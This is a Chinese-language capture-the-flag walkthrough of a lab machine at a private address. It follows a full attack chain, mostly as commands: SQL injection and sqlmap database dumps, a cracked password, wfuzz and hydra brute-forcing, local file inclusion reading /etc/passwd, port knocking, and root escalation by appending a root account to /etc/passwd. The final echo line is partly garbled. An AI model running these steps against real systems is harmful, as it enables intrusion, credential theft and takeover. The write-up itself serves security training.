信息收集
arp-scan -l
发现192.168.119.155 IP 段
扫描端口 --服务
22 端口 — 80 端口
这里22端口有一个(filtered)过滤的保护
先针对80端口进行一个查看
这是一个员工详细表 -----那就是说可以查看员工信息
发现一个查询框和一个登录框
1:查询框是否存在SQL注入呢
2:登录框是否可以弱口令暴力破解呢
** nikto -host 192.168.119.155 (web 漏洞扫描工具)**
发现了 /config.php: PHP Config file may contain database IDs and passwords.
说可能存在数据库ID账号密码
。。 一片空白没有啥 —下面还有一个网页
这像是一个文件包含文件上传啊
还有几个网页也都没有什么信息
返回 页面
SQl注入
测试能否存在SQl注入
1’or’1’=‘1
’ or 1=1 #
存在SQL注入
是POST传参的方式
使用SQlmap 工具 查询
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1”
扫出来了 大概率使用mysql注入的
基于时间的盲注
组合注入
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” --dbs
有三个数据库
这个肯定得先看users 数据库
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D users --tables
有一个数据表UserDetails
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D users -T UserDetails --dump
一个用户表 —尝试登录一下
发现用户密码尝试一下暴力破解
把用户和密码添加到一个字典
使用FUZZ
wfuzz -z file,user_dict.txt -z file,passwd_dict.txt -d “username=FUZZ&password=FUZ2Z” http://192.168.119.155/manage.php
过滤一下
wfuzz --hw 93 -z file,user_dict.txt -z file,passwd_dict.txt -d “username=FUZZ&password=FUZ2Z” http://192.168.119.155/manage.php
结果都没有 那再测试一下另外一个数据库
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D Staff --tables
这里也有一个users 数据表查看一下 这个里面是不是会才是对的
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D Staff -T Users --dump
扫出来了一个账号密码 是一个md5 加密的
密码已经哈希碰撞出来了 (transorbital1)
登录一下
结果登录成功了
本来打算在Add Record 添加一句话试一下 好像不行
本地文件包含
**File does not exis file很有可能存在文件包含 **
wfuzz 测试一下
wfuzz -b ‘PHPSESSID=j8d0k7trk2maekqj955j4d3fn5’ -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.119.155/manage.php?FUZZ=…/…/…/…/…/etc/passwd
wfuzz --hw 100 -b ‘PHPSESSID=j8d0k7trk2maekqj955j4d3fn5’ -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.119.155/manage.php?FUZZ=…/…/…/…/…/etc/passwd
存在file 文件包含
访问一下 ------果然是存在本地文件包含的
Hydra字典爆破连接
这是一个系统的用户和之前的第一个users 相似 尝试一下破解
ssh 使用字典连接
出现错误 是因为开头就说了他好像带有过滤
使用了端口敲门服务
Port Knocking
原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
在/etc/knockd 配置文件
访问
必须要敲7469,8547,9842
可以使用nmap -p
for x in 7469 8475 9842 22 ;do nc 192.168.119.155 $x;done
再次尝试
hydra -L user_dict.txt -P passwd_dict.txt 192.168.119.155 ssh
有三个shh用户可以连接
连接一下 —登录成功
隐藏文件
ls -a 查看隐藏的文件
只有 janitor 用户有一个可疑的隐藏文件 --其他都没有
有一个密码文件
发现了这个密码 猜想是不是还有其他的用户刚才的密码不匹配把这个几个密码加上试一下
发现一个新的用户尝试登录
添加用户提权
sudo -l 查看那些文件是使用root权限可执行的
真的有
可以看到fredf可以不用密码以root权限执行/opt/devstuff/dist/test/test的文件
进入opt/devstuff/dist/test 发现是python文件
查找一下python 可执行文件
find / -name “test.py” 2>/dev/null
找到一个test.py 在/opt/devstuff
查看源码
fredf 用户可以用root的身份去执行test程序
test可以读取任意文本内容 ,追加到任意文本里面
这里直接添加一个管理员文本,添加到/etc/passwd文件里面去)
openssl 加密
写入/tmp目录下
echo ‘aaaa:
1
1
1aaaa$6q.rdPNbxQRHQa/Hb6h0B1:0:0:root:/root:/bin/bash’ >> /tmp/passwd
提权成功